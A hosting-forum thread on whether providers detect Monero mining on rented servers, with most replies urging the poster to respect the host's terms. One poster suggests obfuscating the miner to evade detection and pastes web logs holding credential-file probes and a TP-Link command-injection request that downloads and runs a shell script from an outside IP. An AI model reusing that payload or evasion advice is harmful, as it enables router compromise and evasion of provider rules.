Monero Mining

mailseeker

How do hosting providers detect crypto mining ?
Is it connections to IP addresses or domains that are linked to this ?
What if I run this through a VPN? Won't abuse, and will only run at 60% CPU capacity
Thanks

crunchbits

@mailseeker said:
How do hosting providers detect crypto mining ?
Is it connections to IP addresses or domains that are linked to this ?
What if I run this through a VPN? Won't abuse, and will only run at 60% CPU capacity
Thanks

Well, almost certainly your host has a TOS against it on a shared (non-VDS/dedicated) platform, so probably just don't and save yourself the headache.

As far as how hosts detect it? Multiple ways, but can't share state secrets. The only way you might escape detection is by mining so little it's not even worth it--just buy the monero you want directly with the VPS money.

davide

Obfuscate, rename all symbols, static compile, enjoy.

mailseeker

I should add that I installed ubuntu with Full disk encryption and it is a dedicated server with full root access.

nocloud

How is it even profitable? I stopped mining in 2014, I know it's still somewhat profitable in some conditions, but I don't get it, unless your in a country with super cheap electric and very low wages.

Surely if a VPS can make more money than it costs, then all the host providers would switch to mining and cut out the customer service overhead.

dev_vps

@mailseeker said:
I should add that I installed ubuntu with Full disk encryption and it is a dedicated server with full root access.

You should add encrypt layer one more time and add another encryption layer
also use root+ access, just root access is not good enough

mailseeker

@dev_vps said:

@mailseeker said:
I should add that I installed ubuntu with Full disk encryption and it is a dedicated server with full root access.

You should add encrypt layer one more time and add another encryption layer

Thanks. Could you please provide some guide for this or documentation that I can refer to.

dev_vps

@mailseeker said:

@dev_vps said:

@mailseeker said:
I should add that I installed ubuntu with Full disk encryption and it is a dedicated server with full root access.

You should add encrypt layer one more time and add another encryption layer

Thanks. Could you please provide some guide for this or documentation that I can refer to.

Ubuntu 24.10 Release
Mike's Guide for Monday Monaro Mining for (wanna be) Millionaires

davide

BTW if you want a free vps you might just peek into a web server logs, it has plenty of inspiring ideas:

78.153.140.179 - - [19/Apr/2024:17:34:42 +0200] "POST /.env HTTP/1.1" 200
78.153.140.179 - - [19/Apr/2024:17:34:42 +0200] "GET /.aws/credentials HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03E/\x0B;\x99,\xDB\x92\xCB\xB6\xCD\x90,\x17\x00%\x07\x138\x1F\x93\xD5~Enc\xBF+\xD0%\xF9K\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0" 400
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03E" 400 157 "-"
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "GET / HTTP/1.1" 200 27 "-"
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "GET /form.html HTTP/1.1" 200 
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "GET /upl.php HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:17 +0200] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x7F\xA7\xE2\xC2\x05/\x01D\xA5$\x09X\xF1\xBBl\x17-\x18\xC3\xD1\x9F\x83\xA4\x88\xC2S\xA5\x0E^1H\x7F\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0" 400 
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /geoip/ HTTP/1.1" 200 
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /favicon.ico HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /1.php HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /bundle.js HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /files/ HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /systembc/password.php HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:18 +0200] "GET /password.php HTTP/1.1" 200
198.211.97.100 - - [19/Apr/2024:21:27:19 +0200] "GET /info.php HTTP/1.1" 200
5.181.190.250 - - [19/Apr/2024:22:28:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-%f+shk%3B+wget+http%3A%2F%2F5.181.190.250%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+shk) HTTP/1.1" 200

totally_not_banned

If you are on an actual dedicated server the only way the provider has of (ethically) checking what you are doing is obviously network traffic and it should be pretty obvious how to deal with that.

Given it's a dedicated server i'd still recommend you to just switch to a provider that doesn't disallow mining. You'll have way less headache this way and lets face it: If you rented a dedicated with a TOS saying "No mining." that's just what you rented and you should honor it.

On VPS on the other hand... you can't hide CPU usage and even if they aren't figuring it out by dumping your RAM you'll likely be booted for the resource hogging alone once you get anywhere near a hashrate making the whole thing worthwhile.

mailseeker

@totally_not_banned said:
If you are on an actual dedicated server the only way the provider has of (ethically) checking what you are doing is obviously network traffic and it should be pretty obvious how to deal with that.

Given it's a dedicated server i'd still recommend you to just switch to a provider that doesn't disallow mining. You'll have way less headache this way and lets face it: If you rented a dedicated with a TOS saying "No mining." that's just what you rented and you should honor it.

On VPS on the other hand... you can't hide CPU usage and even if they aren't figuring it out by dumping your RAM you'll likely be booted for the resource hogging alone once you get anywhere near a hashrate making the whole thing worthwhile.

"If you rented a dedicated with a TOS saying "No mining." that's just what you rented and you should honor it"

fair assessment. I will honor it

james50a

If it was profitable for you to mine then it's more profitable for the hosts todo it and leave you out of the equation. There is no scenario in which you get something for doing nothing while acting ethically.

totally_not_banned

@james50a said:
If it was profitable for you to mine then it's more profitable for the hosts todo it and leave you out of the equation. There is no scenario in which you get something for doing nothing while acting ethically.

Well, at least not easily or commonly but there still have been times like the big mining craze where you actually could turn a profit by simply mining monero and Hetzner's server auction was basically empty 24/7. Obviously those times are long gone but who knows maybe someone with enough connection to the topic could still turn a profit now and then by mining shitcoin of the day 2667565198.

kevinds

@mailseeker said:
How do hosting providers detect crypto mining ?
What if I run this through a VPN? Won't abuse, and will only run at 60% CPU capacity

Static CPU usage nearly 24/7 is a giveaway...

100%, 75%, 60% it doesn't matter, legitimate loads fluctuate.

mailseeker

Thanks for the advice everyone. I have a dedicated unmetered Hetzner that I got just to run a tor relay.
I was wondering what I could do with the unused cpu.
I only host hellyfin and torrents right now.
If anyone has any ideas. Please let me know.

Looking to contribute something and not run a self hosted service that is for me.

The xmr would have been used to pay for ala vpn, ( over a month makes sense. But won’t do this.)

Anyway. Open to ideas in how I can contribute to the world. Thanks.

Cabbage

@mailseeker said:
Anyway. Open to ideas in how I can contribute to the world. Thanks.

Folding@Home or Hentai@Home if Hetzner allow them, otherwise just buy a smaller node. Doubt you will ever earn what you could've saved.

totally_not_banned

@mailseeker said:
I have a dedicated unmetered Hetzner

Interesting. Does anyone know when Hetzner implemented this change and how far that's actually legally binding for old servers? Admittedly i hardly ever read Hetzner's emails but i wouldn't remember any kind of TOS update, which would mention this. Not that i really want to mine crypto but i'm curious as to how that works. Could Hetzner just out of the blue add a No Debian line and half their userbase would suddenly violate AUP even if running Debian was perfectly fine when they signed up?

kevinds

@totally_not_banned said:
Does anyone know when Hetzner implemented this change

Have they implemented it?

totally_not_banned

@Cabbage said:

@mailseeker said:
Anyway. Open to ideas in how I can contribute to the world. Thanks.

Folding@Home or Hentai@Home if Hetzner allow them, otherwise just buy a smaller node. Doubt you will ever earn what you could've saved.

https://www.hetzner.com/legal/dedicated-server/

It's basically just crypto mining, beyond that you can burn CPU pretty much any way you like. It's kinda stupid. So you could just put all cores in a spinlock and go on vacation but not mine crypto...

totally_not_banned

@kevinds said:

@totally_not_banned said:
Does anyone know when Hetzner implemented this change

Have they implemented it?

https://www.hetzner.com/legal/dedicated-server/

Yeah. I was pretty surprised too but seems they have extended the mining ban from cloud instances (understandable with shared resources) to actual dedicated servers (somewhat wtf). I was kinda expecting this to be a weird policy of some small scale provider.

I really wonder what's up with that since as far as i know Hetzner has no problem with people burning CPU. Their support has literally granted requests with the stated intention of being able to burn more CPU (obviously not crypto related but their electricity bill won't care about that after all).

kevinds

@totally_not_banned said:
I really wonder what's up with that since as far as i know Hetzner has no problem with people burning CPU. Their support has literally granted requests with the stated intention of being able to burn more CPU (obviously not crypto related but their electricity bill won't care about that after all).

It could be that simple? Cost of electricity.

totally_not_banned

@kevinds said:

@totally_not_banned said:
I really wonder what's up with that since as far as i know Hetzner has no problem with people burning CPU. Their support has literally granted requests with the stated intention of being able to burn more CPU (obviously not crypto related but their electricity bill won't care about that after all).

I could be that simple? Cost of electricity.

Huh? Electricity doesn't cost more or less depending on what activity it's burned on and Hetzner seemed to be perfectly fine with making sure i could use as much CPU as possible fully knowing that it would be a constant 100% load. In the end if i mine crypto or permanently push 100% CPU otherwise wouldn't really matter, would it?

kevinds

@totally_not_banned said:
Huh? Electricity doesn't cost more or less depending on what activity it's burned on and Hetzner seemed to be perfectly fine with making sure i could use as much CPU as possible fully knowing that it would be a constant 100% load. In the end if i'm mining crypto or permanently push 100% CPU otherwise wouldn't really matter, would it?

I agree, but using less electricity is cheaper than using more. Mining crypto is an easy thing to ban, as not to impact legitimate uses of 100% resources.

totally_not_banned

@kevinds said:

@totally_not_banned said:
Huh? Electricity doesn't cost more or less depending on what activity it's burned on and Hetzner seemed to be perfectly fine with making sure i could use as much CPU as possible fully knowing that it would be a constant 100% load. In the end if i'm mining crypto or permanently push 100% CPU otherwise wouldn't really matter, would it?

I agree, but using less electricity is cheaper than using more. Mining crypto is an easy thing to ban, as not to impact legitimate uses of 100% resources.

Yeah, i guess that makes some sense. I wouldn't really call crypto mining illegitimate usage (it's dedicated resources after all) but it's probably still the thing least important to their serious clients. Thinking about it it's probably not the lone guy mining buttcoin on his one-of auction server they are after but the people ordering half a DC just to push everything to 100% 24/7.

kevinds

Our datacentre colo'd rack has a set amount of power included, I've been considering getting a miner just to make use of the included power.. 208v x 10a x 2 for a miner wouldn't bother us at all but it would increase someone's power bill, both the direct usage and the indirect cooling needed.

There is no rule against it but I can imagine that if all clients started maxing out their power circuits they would put some rules in place about it..

totally_not_banned

@kevinds said:
Our datacentre colo'd rack has a set amount of power included, I've been considering getting a miner just to make use of the included power.. 208v x 10a x 2 for a miner wouldn't bother us at all but it would increase someone's power bill, both the direct usage and the indirect cooling needed.

There is no rule against it but I can imagine that if all clients started maxing out their power circuits they would put some rules in place about it..

Well, one could argue that it's your resources and if actually using those kills their business calculation it's a bad calculation and not exactly your fault. They sold X people Y amount knowing they can't really provide all of that. Or is it some kind of fair use power?

kevinds

@totally_not_banned said:
Well, one could argue that it's your resources and if actually using those kills their business calculation it's a bad calculation and not exactly your fault. They sold X people Y amount when they can't really provide all of that.

Yes, but oversubscription has always been the game.. The calculations have always been based on users not maxing resources 100% all the time.

If people started to install literal space heaters in their their racks/cages, I can understand the provider looking for a reason to terminate the account.

totally_not_banned

@kevinds said:

@totally_not_banned said:
Well, one could argue that it's your resources and if actually using those kills their business calculation it's a bad calculation and not exactly your fault. They sold X people Y amount when they can't really provide all of that.

Yes, but oversubscription has always been the game.. The calculations have always been based on users not maxing resources 100% all the time.

If people started to install literal space heaters in their their racks/cages, I can understand the provider looking for a reason to terminate the account.

See my edit: It's fair use power

But yeah i obviously understand how a lot of calculations are based around people not actually using what they buy. The calculation should still be able to support at least a couple users doing so though. These are then basically subsidized by those paying for more than they use. If the calculation actually requires noone to use the full extend of their resources i think arguing for it not being inherently flawed isn't really all that possible anymore.

TL;DR: Your miner should be fine as there'll be people not clever enough, too lazy or too altruistic to do the same

kevinds

@totally_not_banned said:
TL;DR: Your miner should be fine as there'll be people not clever enough, too lazy or too altruistic to do the same

Exactly, for our rack, it would be fine..

I'm wondering if Hetzner has reached the point where it is time to start letting some of those clients go. Or maybe it was with the same rule changes that ended the free trial? Provision a server, mine crypto for 13 days, cancel server for refund, and spin up another.

Also, thanks for checking that actually did put those rules in place, one user commenting on something, isn't enough to say they actually made the change. I've been busy and to be honest, I didn't care enough to look it up myself.

totally_not_banned

@kevinds said:

@totally_not_banned said:
TL;DR: Your miner should be fine as there'll be people not clever enough, too lazy or too altruistic to do the same

Exactly, for our rack, it would be fine..

I'm wondering if Hetzner has reached the point where it is time to start letting some of those clients go. Or maybe it was with the same rule changes that ended the free trial? Provision a server, mine crypto for 13 days, cancel server for refund, and spin up another.

According to https://old.reddit.com/r/hetzner/comments/mztvhr/hetzner_whats_the_official_policy_on_running/ it's already been in place for 2 years. It still kind of wonder if they can really just change this randomly. I dug around a bit and for example in 2015 eDonkey (did anyone still use this in 2015!?) was still the villain (https://web.archive.org/web/20150225002933/hetzner.de/de/hosting/legal/system-policies-rs).

Yeah, that 13 days of free mining probably was really tempting to a lot of scumbags. I already speculated in the warning-no-more-free-cancelation thread that OP may have been surprised by the change because he couldn't keep accounts for long enough to actually get Hetzner's info mails

Also, thanks for checking that actually did put those rules in place, one user commenting on something, isn't enough to say they actually made the change. I've been busy and to be honest, I didn't care enough to look it up myself.

I probably wouldn't have looked into it but since i had briefly mined a bit in the past (helped out some random shitcoin project and well... i had to somehow test the product) and was being curious if i had unknowingly violated the AUP (i luckily didn't as this was way to far back) but if it hadn't been for this thread and i somehow ended up in a similar position again (unlikely but who knows?) i probably wouldn't have thought anything of it while launching a miner.

PulsedMedia

@crunchbits said: The only way you might escape detection is by mining so little it's not even worth it--just buy the monero you want directly with the VPS money.

This is like 99.9% of the time -- Person is paying more for the hosting than it could possibly make in mining.

Yet some choose to do it and annoy everyone around. Some people just are ...